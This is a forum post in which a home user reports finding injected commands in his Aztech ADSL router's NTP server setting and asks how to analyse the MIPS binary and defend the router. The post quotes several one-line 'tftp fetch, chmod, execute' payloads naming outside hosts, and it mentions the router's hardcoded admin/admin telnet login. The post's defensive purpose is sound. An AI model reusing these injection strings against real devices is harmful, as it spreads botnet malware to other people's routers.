Backstory
Few years ago I bought an Aztech DSL5005 ADSL router, it was the only router available which I could verify I can telnet to and get a proper Linux environment (I wanted an OpenWRT enabled ADSL router, but could not get any!). From then, I had good experience with it; I was able to cross-compile many things and get them working on it, namely transmission-daemon, wget, httpd, transocks... It was a great help as I get only few hours of electricity each day, and it helps to keep the router with a plugged flashdrive to get all the upload/download that I need for my work, since I cannot keep my laptop running all the time.
Discovering the problem
Two months ago, I went on to the router's web interface to play with some QoS settings... While wandering around settings, I found this, as a "Custom NTP Server":
`cd /tmp;tftp -l4 -r4 -g 182.186.194.41 43630;chmod 777 4;./4`
I instantly disconnected the phone cable off the router, telnet'ed to it and checked for the said file, it was not there! Next thing I did was to backup settings (It gives you a pseudo-xml file with a hierarchy of settings), and then did a hard factory reset. I proceeded to manually put the ADSL settings back...
I started to ponder what could be the source of the hack: While the router has an "admin" user for its web interface whose password can be changed, telnet user/pass are always admin/admin even after changing the web interface counterpart. I was able to mitigate this by altering config file and uploading it (then I found out it also includes two other hardcoded credentials for its web interface, I changed both). Although telnet interface is LAN only and cannot be accessed from WAN, I thought maybe a bad malware on a connected guest smartphone could have done this harm.
I tried retrieving the said file manually to examine it, but I could not (timeout/unreachable)... I left things there and thought that's it, but then after few days I checked again and found this:
`cd /tmp;tftp -l4 -r4 -g 84.249.67.148 48896;chmod 777 4;./4`
Again, somehow, the router got this again, I telnet'd: No file, tried to get the file (by manually executing tftp -l4 -r4 -g ...), but it could not get it... I tried for a long time to find out the culprit, I could not... So after wasting much time I resorted to leaving it, and thinking that it is maybe an old threat that got its master servers offline, thus it cannot retrieve its files, and it will do no harm (Not that I could do anything anyway!)
But! Today: Again! I found this:
`cd /tmp;tftp -l4 -r4 -g 31.9.x.x 36227;chmod 777 4;./4`
This time something was different: The IP block belongs to my country, and the file was there! So the previous IPs were not of a control server, but rather of previous victims, only this time a victim was within my national network and the file could be retrieved. I rebooted the router then telnet'ed to it and created a directory in place of the file to be retrieved (so it cannot be overwritten), then retrieved the file manually and copied over:
aularon@etabits-laptop:/tmp$ file 4
4: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
The file is compiled for my router architecture...
What should I do in this case? Is there a place where I can send said file for analysis? To security researchers who know better than me.
I am interested in two things:
- Providing information on this "botnet",
- Knowing how to take counter measures, for now I am creating the
/tmp/4directory and that's all I could come up with.
Please advice!
Edit: This question is not a duplicate of How do I deal with a compromised server?; With a compromized server one has many options and methodologies that does not apply when working on a router... I can not even update let alone do a fresh install, it also lacks many program, plus I am unable to capture network packets from/to WAN, as they get to the router first. (@mootmoot's answer seems to push in the right direction, I am checking that and will get back to it)
